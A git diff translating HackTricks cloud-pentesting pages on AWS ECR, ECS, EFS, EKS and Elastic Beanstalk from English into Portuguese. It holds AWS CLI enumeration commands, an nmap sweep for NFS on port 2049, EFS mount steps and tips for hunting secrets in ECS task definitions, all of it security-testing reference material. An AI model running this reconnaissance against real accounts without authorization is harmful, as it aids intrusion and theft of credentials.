Registries**: +1. **Registros Privados**: -- **Private by default**: The container images stored in an Amazon ECR private registry are **only accessible to authorized users** within your AWS account or to those who have been granted permission. - - The URI of a **private repository** follows the format `.dkr.ecr..amazonaws.com/` -- **Access control**: You can **control access** to your private container images using **IAM policies**, and you can configure fine-grained permissions based on users or roles. -- **Integration with AWS services**: Amazon ECR private registries can be easily **integrated with other AWS services**, such as EKS, ECS... -- **Other private registry options**: - - The Tag immutability column lists its status, if tag immutability is enabled it will **prevent** image **pushes** with **pre-existing tags** from overwriting the images. - - The **Encryption type** column lists the encryption properties of the repository, it shows the default encryption types such as AES-256, or has **KMS** enabled encryptions. - - The **Pull through cache** column lists its status, if Pull through cache status is Active it will cache **repositories in an external public repository into your private repository**. - - Specific **IAM policies** can be configured to grant different **permissions**. - - The **scanning configuration** allows to scan for vulnerabilities in the images stored inside the repo. +- **Privado por padrão**: As imagens de contêiner armazenadas em um registro privado do Amazon ECR são **acessíveis apenas a usuários autorizados** dentro da sua conta AWS ou àqueles que receberam permissão. +- O URI de um **repositório privado** segue o formato `.dkr.ecr..amazonaws.com/` +- **Controle de acesso**: Você pode **controlar o acesso** às suas imagens de contêiner privadas usando **políticas IAM**, e pode configurar permissões detalhadas com base em usuários ou funções. +- **Integração com serviços AWS**: Registros privados do Amazon ECR podem ser facilmente **integrados com outros serviços AWS**, como EKS, ECS... +- **Outras opções de registro privado**: +- A coluna de imutabilidade de tags lista seu status, se a imutabilidade de tags estiver habilitada, isso **impedirá** que **envios** de imagens com **tags pré-existentes** sobrescrevam as imagens. +- A coluna de **Tipo de Criptografia** lista as propriedades de criptografia do repositório, mostrando os tipos de criptografia padrão, como AES-256, ou criptografias com **KMS** habilitadas. +- A coluna de **Cache de Pull** lista seu status, se o status do Cache de Pull estiver Ativo, ele irá armazenar em cache **repositórios em um repositório público externo em seu repositório privado**. +- Políticas **IAM específicas** podem ser configuradas para conceder diferentes **permissões**. +- A **configuração de varredura** permite escanear em busca de vulnerabilidades nas imagens armazenadas dentro do repositório. -2. **Public Registries**: +2. **Registros Públicos**: -- **Public accessibility**: Container images stored in an ECR Public registry are **accessible to anyone on the internet without authentication.** - - The URI of a **public repository** is like `public.ecr.aws//`. Although the `` part can be changed by the admin to another string easier to remember. +- **Acessibilidade pública**: Imagens de contêiner armazenadas em um registro público do ECR são **acessíveis a qualquer pessoa na internet sem autenticação.** +- O URI de um **repositório público** é como `public.ecr.aws//`. Embora a parte `` possa ser alterada pelo administrador para outra string mais fácil de lembrar. -**Repositories** +**Repositórios** -These are the **images** that in the **private registry** or to the **public** one. +Estas são as **imagens** que estão no **registro privado** ou no **público**. > [!NOTE] -> Note that in order to upload an image to a repository, the **ECR repository need to have the same name as the image**. +> Observe que, para enviar uma imagem para um repositório, o **repositório ECR precisa ter o mesmo nome que a imagem**. -#### Registry & Repository Policies +#### Políticas de Registro e Repositório -**Registries & repositories** also have **policies that can be used to grant permissions to other principals/accounts**. For example, in the following repository policy image you can see how any user from the whole organization will be able to access the image: +**Registros e repositórios** também têm **políticas que podem ser usadas para conceder permissões a outros principais/contas**. Por exemplo, na imagem da política de repositório a seguir, você pode ver como qualquer usuário de toda a organização poderá acessar a imagem:
-#### Enumeration - +#### Enumeração ```bash # Get repos aws ecr describe-repositories @@ -68,39 +67,34 @@ aws ecr-public describe-repositories aws ecr get-registry-policy aws ecr get-repository-policy --repository-name ``` - -#### Unauthenticated Enum +#### Enum Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md {{#endref}} -#### Privesc +#### Escalação de Privilégios -In the following page you can check how to **abuse ECR permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do ECR para escalar privilégios**: {{#ref}} ../aws-privilege-escalation/aws-ecr-privesc.md {{#endref}} -#### Post Exploitation +#### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -#### Persistence +#### Persistência {{#ref}} ../aws-persistence/aws-ecr-persistence.md {{#endref}} -## References +## Referências - [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index cbbf596fe..714c33d5e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -4,31 +4,30 @@ ## ECS -### Basic Information +### Informações Básicas -Amazon **Elastic Container Services** or ECS provides a platform to **host containerized applications in the cloud**. ECS has two **deployment** methods, **EC2** instance type and a **serverless** option, **Fargate**. The service **makes running containers in the cloud very easy and pain free**. +Amazon **Elastic Container Services** ou ECS fornece uma plataforma para **hospedar aplicações containerizadas na nuvem**. ECS tem dois métodos de **implantação**, tipo de instância **EC2** e uma opção **serverless**, **Fargate**. O serviço **torna a execução de contêineres na nuvem muito fácil e sem dor**. -ECS operates using the following three building blocks: **Clusters**, **Services**, and **Task Definitions**. +ECS opera usando os seguintes três blocos de construção: **Clusters**, **Serviços** e **Definições de Tarefas**. -- **Clusters** are **groups of containers** that are running in the cloud. As previously mentioned, there are two launch types for containers, EC2 and Fargate. AWS defines the **EC2** launch type as allowing customers “to run \[their] containerized applications on a cluster of Amazon EC2 instances that \[they] **manage**”. **Fargate** is similar and is defined as “\[allowing] you to run your containerized applications **without the need to provision and manage** the backend infrastructure”. -- **Services** are created inside a cluster and responsible for **running the tasks**. Inside a service definition **you define the number of tasks to run, auto scaling, capacity provider (Fargate/EC2/External),** **networking** information such as VPC’s, subnets, and security groups. - - There **2 types of applications**: - - **Service**: A group of tasks handling a long-running computing work that can be stopped and restarted. For example, a web application. - - **Task**: A standalone task that runs and terminates. For example, a batch job. - - Among the service applications, there are **2 types of service schedulers**: - - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): The replica scheduling strategy places and **maintains the desired number** of tasks across your cluster. If for some reason a task shut down, a new one is launched in the same or different node. - - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Deploys exactly one task on each active container instance that has the needed requirements. There is no need to specify a desired number of tasks, a task placement strategy, or use Service Auto Scaling policies. -- **Task Definitions** are responsible for **defining what containers will run** and the various parameters that will be configured with the containers such as **port mappings** with the host, **env variables**, Docker **entrypoint**... - - Check **env variables for sensitive info**! +- **Clusters** são **grupos de contêineres** que estão rodando na nuvem. Como mencionado anteriormente, existem dois tipos de lançamento para contêineres, EC2 e Fargate. A AWS define o tipo de lançamento **EC2** como permitindo que os clientes “executem \[suas] aplicações containerizadas em um cluster de instâncias Amazon EC2 que \[eles] **gerenciam**”. **Fargate** é semelhante e é definido como “\[permitindo] que você execute suas aplicações containerizadas **sem a necessidade de provisionar e gerenciar** a infraestrutura de backend”. +- **Serviços** são criados dentro de um cluster e responsáveis por **executar as tarefas**. Dentro de uma definição de serviço **você define o número de tarefas a serem executadas, escalonamento automático, provedor de capacidade (Fargate/EC2/Externo),** informações de **rede** como VPCs, sub-redes e grupos de segurança. +- Existem **2 tipos de aplicações**: +- **Serviço**: Um grupo de tarefas lidando com um trabalho computacional de longa duração que pode ser interrompido e reiniciado. Por exemplo, uma aplicação web. +- **Tarefa**: Uma tarefa independente que é executada e termina. Por exemplo, um trabalho em lote. +- Entre as aplicações de serviço, existem **2 tipos de agendadores de serviço**: +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): A estratégia de agendamento de réplica coloca e **mantém o número desejado** de tarefas em todo o seu cluster. Se por algum motivo uma tarefa for encerrada, uma nova é lançada no mesmo ou em um nó diferente. +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Implanta exatamente uma tarefa em cada instância de contêiner ativa que possui os requisitos necessários. Não há necessidade de especificar um número desejado de tarefas, uma estratégia de colocação de tarefas ou usar políticas de Escalonamento Automático de Serviço. +- **Definições de Tarefas** são responsáveis por **definir quais contêineres serão executados** e os vários parâmetros que serão configurados com os contêineres, como **mapeamentos de porta** com o host, **variáveis de ambiente**, Docker **entrypoint**... +- Verifique **variáveis de ambiente para informações sensíveis**! -### Sensitive Data In Task Definitions +### Dados Sensíveis em Definições de Tarefas -Task definitions are responsible for **configuring the actual containers that will be running in ECS**. Since task definitions define how containers will run, a plethora of information can be found within. +As definições de tarefas são responsáveis por **configurar os contêineres reais que estarão rodando no ECS**. Como as definições de tarefas definem como os contêineres serão executados, uma infinidade de informações pode ser encontrada dentro delas. -Pacu can enumerate ECS (list-clusters, list-container-instances, list-services, list-task-definitions), it can also dump task definitions. - -### Enumeration +Pacu pode enumerar ECS (list-clusters, list-container-instances, list-services, list-task-definitions), também pode despejar definições de tarefas. +### Enumeração ```bash # Clusters info aws ecs list-clusters @@ -52,35 +51,30 @@ aws ecs describe-tasks --cluster --tasks ## Look for env vars and secrets used from the task definition aws ecs describe-task-definition --task-definition : ``` - -### Unauthenticated Access +### Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md {{#endref}} -### Privesc +### Escalação de Privilégios -In the following page you can check how to **abuse ECS permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do ECS para escalar privilégios**: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md {{#endref}} -### Post Exploitation +### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-ecs-post-exploitation.md {{#endref}} -### Persistence +### Persistência {{#ref}} ../aws-persistence/aws-ecs-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index bcf4e58d4..ef727eaaf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -4,22 +4,21 @@ ## EFS -### Basic Information +### Informações Básicas -Amazon Elastic File System (EFS) is presented as a **fully managed, scalable, and elastic network file system** by AWS. The service facilitates the creation and configuration of **file systems** that can be concurrently accessed by multiple EC2 instances and other AWS services. The key features of EFS include its ability to automatically scale without manual intervention, provision low-latency access, support high-throughput workloads, guarantee data durability, and seamlessly integrate with various AWS security mechanisms. +O Amazon Elastic File System (EFS) é apresentado como um **sistema de arquivos de rede totalmente gerenciado, escalável e elástico** pela AWS. O serviço facilita a criação e configuração de **sistemas de arquivos** que podem ser acessados simultaneamente por várias instâncias EC2 e outros serviços da AWS. As principais características do EFS incluem sua capacidade de escalar automaticamente sem intervenção manual, provisionar acesso de baixa latência, suportar cargas de trabalho de alto rendimento, garantir durabilidade dos dados e integrar-se perfeitamente com vários mecanismos de segurança da AWS. -By **default**, the EFS folder to mount will be **`/`** but it could have a **different name**. +Por **padrão**, a pasta do EFS a ser montada será **`/`**, mas pode ter um **nome diferente**. -### Network Access +### Acesso à Rede -An EFS is created in a VPC and would be **by default accessible in all the VPC subnetworks**. However, the EFS will have a Security Group. In order to **give access to an EC2** (or any other AWS service) to mount the EFS, it’s needed to **allow in the EFS security group an inbound NFS** (2049 port) **rule from the EC2 Security Group**. +Um EFS é criado em uma VPC e seria **por padrão acessível em todas as sub-redes da VPC**. No entanto, o EFS terá um Grupo de Segurança. Para **dar acesso a uma EC2** (ou qualquer outro serviço da AWS) para montar o EFS, é necessário **permitir no grupo de segurança do EFS uma regra de entrada NFS** (porta 2049) **do Grupo de Segurança da EC2**. -Without this, you **won't be able to contact the NFS service**. +Sem isso, você **não poderá contatar o serviço NFS**. -For more information about how to do this check: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) - -### Enumeration +Para mais informações sobre como fazer isso, consulte: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) +### Enumeração ```bash # Get filesystems and access policies (if any) aws efs describe-file-systems @@ -39,12 +38,10 @@ aws efs describe-replication-configurations # Search for NFS in EC2 networks sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` - > [!CAUTION] -> It might be that the EFS mount point is inside the same VPC but in a different subnet. If you want to be sure you find all **EFS points it would be better to scan the `/16` netmask**. - -### Mount EFS +> Pode ser que o ponto de montagem do EFS esteja dentro da mesma VPC, mas em uma sub-rede diferente. Se você quiser ter certeza de que encontra todos os **pontos EFS, seria melhor escanear a máscara de rede `/16`**. +### Montar EFS ```bash sudo mkdir /efs @@ -58,70 +55,63 @@ sudo yum install amazon-efs-utils # If centos sudo apt-get install amazon-efs-utils # If ubuntu sudo mount -t efs :/ /efs/ ``` - ### IAM Access -By **default** anyone with **network access to the EFS** will be able to mount, **read and write it even as root user**. However, File System policies could be in place **only allowing principals with specific permissions** to access it.\ -For example, this File System policy **won't allow even to mount** the file system if you **don't have the IAM permission**: - +Por **padrão**, qualquer pessoa com **acesso à rede ao EFS** poderá montar, **ler e escrever nele, mesmo como usuário root**. No entanto, políticas de sistema de arquivos podem estar em vigor **permitindo apenas que principais com permissões específicas** acessem.\ +Por exemplo, esta política de sistema de arquivos **não permitirá nem mesmo montar** o sistema de arquivos se você **não tiver a permissão IAM**: ```json { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", - "Statement": [ - { - "Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "", - "Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", +"Statement": [ +{ +"Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "", +"Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - -Or this will **prevent anonymous access**: +Ou isso **impedirá o acesso anônimo**:
-Note that to mount file systems protected by IAM you MUST use the type "efs" in the mount command: - +Observe que para montar sistemas de arquivos protegidos por IAM, você DEVE usar o tipo "efs" no comando de montagem: ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ # To use a different pforile from ~/.aws/credentials # You can use: -o tls,iam,awsprofile=namedprofile ``` - ### Access Points -**Access points** are **application**-specific entry points **into an EFS file system** that make it easier to manage application access to shared datasets. +**Os pontos de acesso** são **pontos de entrada** específicos de **aplicação** **em um sistema de arquivos EFS** que facilitam a gestão do acesso da aplicação a conjuntos de dados compartilhados. -When you create an access point, you can **specify the owner and POSIX permissions** for the files and directories created through the access point. You can also **define a custom root directory** for the access point, either by specifying an existing directory or by creating a new one with the desired permissions. This allows you to **control access to your EFS file system on a per-application or per-user basis**, making it easier to manage and secure your shared file data. - -**You can mount the File System from an access point with something like:** +Quando você cria um ponto de acesso, pode **especificar o proprietário e as permissões POSIX** para os arquivos e diretórios criados através do ponto de acesso. Você também pode **definir um diretório raiz personalizado** para o ponto de acesso, seja especificando um diretório existente ou criando um novo com as permissões desejadas. Isso permite que você **controle o acesso ao seu sistema de arquivos EFS com base em cada aplicação ou usuário**, facilitando a gestão e a segurança dos seus dados de arquivo compartilhados. +**Você pode montar o sistema de arquivos a partir de um ponto de acesso com algo como:** ```bash # Use IAM if you need to use iam permissions sudo mount -t efs -o tls,[iam],accesspoint= \ - /efs/ + /efs/ ``` - > [!WARNING] -> Note that even trying to mount an access point you still need to be able to **contact the NFS service via network**, and if the EFS has a file system **policy**, you need **enough IAM permissions** to mount it. +> Note que mesmo tentando montar um ponto de acesso, você ainda precisa ser capaz de **contatar o serviço NFS via rede**, e se o EFS tiver uma **política** de sistema de arquivos, você precisa de **permissões IAM suficientes** para montá-lo. -Access points can be used for the following purposes: +Os pontos de acesso podem ser usados para os seguintes propósitos: -- **Simplify permissions management**: By defining a POSIX user and group for each access point, you can easily manage access permissions for different applications or users without modifying the underlying file system's permissions. -- **Enforce a root directory**: Access points can restrict access to a specific directory within the EFS file system, ensuring that each application or user operates within its designated folder. This helps prevent accidental data exposure or modification. -- **Easier file system access**: Access points can be associated with an AWS Lambda function or an AWS Fargate task, simplifying file system access for serverless and containerized applications. +- **Simplificar a gestão de permissões**: Ao definir um usuário e grupo POSIX para cada ponto de acesso, você pode gerenciar facilmente as permissões de acesso para diferentes aplicações ou usuários sem modificar as permissões do sistema de arquivos subjacente. +- **Impor um diretório raiz**: Os pontos de acesso podem restringir o acesso a um diretório específico dentro do sistema de arquivos EFS, garantindo que cada aplicação ou usuário opere dentro de sua pasta designada. Isso ajuda a prevenir a exposição acidental de dados ou modificação. +- **Acesso mais fácil ao sistema de arquivos**: Os pontos de acesso podem ser associados a uma função AWS Lambda ou a uma tarefa AWS Fargate, simplificando o acesso ao sistema de arquivos para aplicações sem servidor e containerizadas. ## Privesc @@ -142,7 +132,3 @@ Access points can be used for the following purposes: {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index a7ead6d10..2aaf59a28 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,17 +4,16 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS) is designed to eliminate the need for users to install, operate, and manage their own Kubernetes control plane or nodes. Instead, Amazon EKS manages these components, providing a simplified way to deploy, manage, and scale containerized applications using Kubernetes on AWS. +O Amazon Elastic Kubernetes Service (Amazon EKS) foi projetado para eliminar a necessidade de os usuários instalarem, operarem e gerenciarem seu próprio plano de controle ou nós do Kubernetes. Em vez disso, o Amazon EKS gerencia esses componentes, fornecendo uma maneira simplificada de implantar, gerenciar e escalar aplicações conteinerizadas usando Kubernetes na AWS. -Key aspects of Amazon EKS include: +Aspectos chave do Amazon EKS incluem: -1. **Managed Kubernetes Control Plane**: Amazon EKS automates critical tasks such as patching, node provisioning, and updates. -2. **Integration with AWS Services**: It offers seamless integration with AWS services for compute, storage, database, and security. -3. **Scalability and Security**: Amazon EKS is designed to be highly available and secure, providing features such as automatic scaling and isolation by design. -4. **Compatibility with Kubernetes**: Applications running on Amazon EKS are fully compatible with applications running on any standard Kubernetes environment. +1. **Plano de Controle Kubernetes Gerenciado**: O Amazon EKS automatiza tarefas críticas, como correção, provisionamento de nós e atualizações. +2. **Integração com Serviços AWS**: Oferece integração perfeita com serviços AWS para computação, armazenamento, banco de dados e segurança. +3. **Escalabilidade e Segurança**: O Amazon EKS é projetado para ser altamente disponível e seguro, fornecendo recursos como escalonamento automático e isolamento por design. +4. **Compatibilidade com Kubernetes**: Aplicações executadas no Amazon EKS são totalmente compatíveis com aplicações executadas em qualquer ambiente Kubernetes padrão. #### Enumeration - ```bash aws eks list-clusters aws eks describe-cluster --name @@ -32,19 +31,14 @@ aws eks describe-nodegroup --cluster-name --nodegroup-name aws eks list-updates --name aws eks describe-update --name --update-id ``` - -#### Post Exploitation +#### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -## References +## Referências - [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 980504dac..d60753821 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -4,70 +4,69 @@ ## Elastic Beanstalk -Amazon Elastic Beanstalk provides a simplified platform for **deploying, managing, and scaling web applications and services**. It supports a variety of programming languages and frameworks, such as Java, .NET, PHP, Node.js, Python, Ruby, and Go, as well as Docker containers. The service is compatible with widely-used servers including Apache, Nginx, Passenger, and IIS. +Amazon Elastic Beanstalk fornece uma plataforma simplificada para **implantar, gerenciar e escalar aplicações e serviços web**. Ele suporta uma variedade de linguagens de programação e frameworks, como Java, .NET, PHP, Node.js, Python, Ruby e Go, além de contêineres Docker. O serviço é compatível com servidores amplamente utilizados, incluindo Apache, Nginx, Passenger e IIS. -Elastic Beanstalk provides a simple and flexible way to **deploy your applications to the AWS cloud**, without the need to worry about the underlying infrastructure. It **automatically** handles the details of capacity **provisioning**, load **balancing**, **scaling**, and application health **monitoring**, allowing you to focus on writing and deploying your code. +Elastic Beanstalk oferece uma maneira simples e flexível de **implantar suas aplicações na nuvem AWS**, sem a necessidade de se preocupar com a infraestrutura subjacente. Ele **automaticamente** lida com os detalhes de **provisionamento** de capacidade, **balanceamento** de carga, **escalonamento** e **monitoramento** da saúde da aplicação, permitindo que você se concentre em escrever e implantar seu código. -The infrastructure created by Elastic Beanstalk is managed by **Autoscaling** Groups in **EC2** (with a load balancer). Which means that at the end of the day, if you **compromise the host**, you should know about about EC2: +A infraestrutura criada pelo Elastic Beanstalk é gerenciada por **Grupos de Autoscaling** no **EC2** (com um balanceador de carga). O que significa que, no final do dia, se você **comprometer o host**, deve saber sobre o EC2: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -Moreover, if Docker is used, it’s possible to use **ECS**. +Além disso, se o Docker for usado, é possível utilizar o **ECS**. {{#ref}} aws-eks-enum.md {{#endref}} -### Application & Environments +### Aplicação e Ambientes -In AWS Elastic Beanstalk, the concepts of an "application" and an "environment" serve different purposes and have distinct roles in the deployment process. +No AWS Elastic Beanstalk, os conceitos de "aplicação" e "ambiente" servem a propósitos diferentes e têm papéis distintos no processo de implantação. -#### Application +#### Aplicação -- An application in Elastic Beanstalk is a **logical container for your application's source code, environments, and configurations**. It groups together different versions of your application code and allows you to manage them as a single entity. -- When you create an application, you provide a name and **description, but no resources are provisioned** at this stage. it is simply a way to organize and manage your code and related resources. -- You can have **multiple application versions** within an application. Each version corresponds to a specific release of your code, which can be deployed to one or more environments. +- Uma aplicação no Elastic Beanstalk é um **container lógico para o código-fonte, ambientes e configurações da sua aplicação**. Ela agrupa diferentes versões do código da sua aplicação e permite que você as gerencie como uma única entidade. +- Quando você cria uma aplicação, fornece um nome e **descrição, mas nenhum recurso é provisionado** nesta fase. É simplesmente uma maneira de organizar e gerenciar seu código e recursos relacionados. +- Você pode ter **várias versões de aplicação** dentro de uma aplicação. Cada versão corresponde a um lançamento específico do seu código, que pode ser implantado em um ou mais ambientes. -#### Environment +#### Ambiente -- An environment is a **provisioned instance of your application** running on AWS infrastructure. It is **where your application code is deployed and executed**. Elastic Beanstalk provisions the necessary resources (e.g., EC2 instances, load balancers, auto-scaling groups, databases) based on the environment configuration. -- **Each environment runs a single version of your application**, and you can have multiple environments for different purposes, such as development, testing, staging, and production. -- When you create an environment, you choose a platform (e.g., Java, .NET, Node.js, etc.) and an environment type (e.g., web server or worker). You can also customize the environment configuration to control various aspects of the infrastructure and application settings. +- Um ambiente é uma **instância provisionada da sua aplicação** executando na infraestrutura da AWS. É **onde o código da sua aplicação é implantado e executado**. O Elastic Beanstalk provisiona os recursos necessários (por exemplo, instâncias EC2, balanceadores de carga, grupos de autoescalonamento, bancos de dados) com base na configuração do ambiente. +- **Cada ambiente executa uma única versão da sua aplicação**, e você pode ter vários ambientes para diferentes propósitos, como desenvolvimento, teste, homologação e produção. +- Quando você cria um ambiente, escolhe uma plataforma (por exemplo, Java, .NET, Node.js, etc.) e um tipo de ambiente (por exemplo, servidor web ou trabalhador). Você também pode personalizar a configuração do ambiente para controlar vários aspectos da infraestrutura e das configurações da aplicação. -### 2 types of Environments +### 2 tipos de Ambientes -1. **Web Server Environment**: It is designed to **host and serve web applications and APIs**. These applications typically handle incoming HTTP/HTTPS requests. The web server environment provisions resources such as **EC2 instances, load balancers, and auto-scaling** groups to handle incoming traffic, manage capacity, and ensure the application's high availability. -2. **Worker Environment**: It is designed to process **background tasks**, which are often time-consuming or resource-intensive operations that don't require immediate responses to clients. The worker environment provisions resources like **EC2 instances and auto-scaling groups**, but it **doesn't have a load balancer** since it doesn't handle HTTP/HTTPS requests directly. Instead, it consumes tasks from an **Amazon Simple Queue Service (SQS) queue**, which acts as a buffer between the worker environment and the tasks it processes. +1. **Ambiente de Servidor Web**: É projetado para **hospedar e servir aplicações web e APIs**. Essas aplicações normalmente lidam com solicitações HTTP/HTTPS recebidas. O ambiente de servidor web provisiona recursos como **instâncias EC2, balanceadores de carga e grupos de autoescalonamento** para lidar com o tráfego recebido, gerenciar capacidade e garantir a alta disponibilidade da aplicação. +2. **Ambiente de Trabalhador**: É projetado para processar **tarefas em segundo plano**, que muitas vezes são operações demoradas ou intensivas em recursos que não requerem respostas imediatas aos clientes. O ambiente de trabalhador provisiona recursos como **instâncias EC2 e grupos de autoescalonamento**, mas **não possui um balanceador de carga** uma vez que não lida diretamente com solicitações HTTP/HTTPS. Em vez disso, consome tarefas de uma **fila do Amazon Simple Queue Service (SQS)**, que atua como um buffer entre o ambiente de trabalhador e as tarefas que ele processa. -### Security +### Segurança -When creating an App in Beanstalk there are 3 very important security options to choose: +Ao criar um App no Beanstalk, existem 3 opções de segurança muito importantes a serem escolhidas: -- **EC2 key pair**: This will be the **SSH key** that will be able to access the EC2 instances running the app -- **IAM instance profile**: This is the **instance profile** that the instances will have (**IAM privileges**) - - The autogenerated role is called **`aws-elasticbeanstalk-ec2-role`** and has some interesting access over all ECS, all SQS, DynamoDB elasticbeanstalk and elasticbeanstalk S3 using the AWS managed policies: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). -- **Service role**: This is the **role that the AWS service** will use to perform all the needed actions. Afaik, a regular AWS user cannot access that role. - - This role generated by AWS is called **`aws-elasticbeanstalk-service-role`** and uses the AWS managed policies [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) and [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) +- **Par de chaves EC2**: Esta será a **chave SSH** que poderá acessar as instâncias EC2 executando o app. +- **Perfil de instância IAM**: Este é o **perfil de instância** que as instâncias terão (**privilégios IAM**). +- O papel gerado automaticamente é chamado de **`aws-elasticbeanstalk-ec2-role`** e possui alguns acessos interessantes sobre todo o ECS, todo o SQS, DynamoDB elasticbeanstalk e elasticbeanstalk S3 usando as políticas gerenciadas pela AWS: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). +- **Papel de serviço**: Este é o **papel que o serviço AWS** usará para realizar todas as ações necessárias. Até onde sei, um usuário regular da AWS não pode acessar esse papel. +- Este papel gerado pela AWS é chamado de **`aws-elasticbeanstalk-service-role`** e usa as políticas gerenciadas pela AWS [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) e [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) -By default **metadata version 1 is disabled**: +Por padrão, **a versão de metadados 1 está desativada**:
